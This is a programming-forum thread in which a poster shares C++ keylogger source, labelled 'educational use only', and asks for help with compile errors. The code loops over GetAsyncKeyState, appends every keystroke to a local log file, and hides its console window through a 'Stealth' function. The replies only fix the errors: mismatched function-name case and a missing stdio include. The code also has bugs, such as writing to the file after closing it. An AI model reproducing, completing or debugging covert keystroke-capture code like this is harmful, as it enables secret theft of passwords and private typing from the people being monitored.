Feb 18, 2011 at 8:20am UTC
Hey all, i have this script for educational use only and there is a few issues i am having with not delceard in this scope:
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
int save (int key_stroke, char *file) ;
void Stealth ();
int main ()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.TEXT");
}
}
system ("PAUSE") ;
return 0;
}
/* *************************************** */
/* *************************************** */
int save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE); cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110 )
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
/* *************************************** */
/* *************************************** */
void stealth ()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
fopen
fprint
fclose are all having issues.eg. error 'fopen' was not decaled in this scope
also the word Save further up is also not decaled in this scope.. All help would be fantastic thanks
Feb 18, 2011 at 9:27am UTC
Quick look:
1 2 3
int save (int key_stroke, char *file) ;
...
S ave(i,"LOG.TEXT" );
1 2 3 4 5
void Stealth ();
...
/* *************************************** */
void s tealth ()
{
PS please use code tags: [co
de]
Your code [/co
de]
Last edited on Feb 18, 2011 at 9:29am UTC
Feb 18, 2011 at 11:31am UTC
Please include
#include <cstdio>
or
#include <stdio.h>
you need declaration buddy.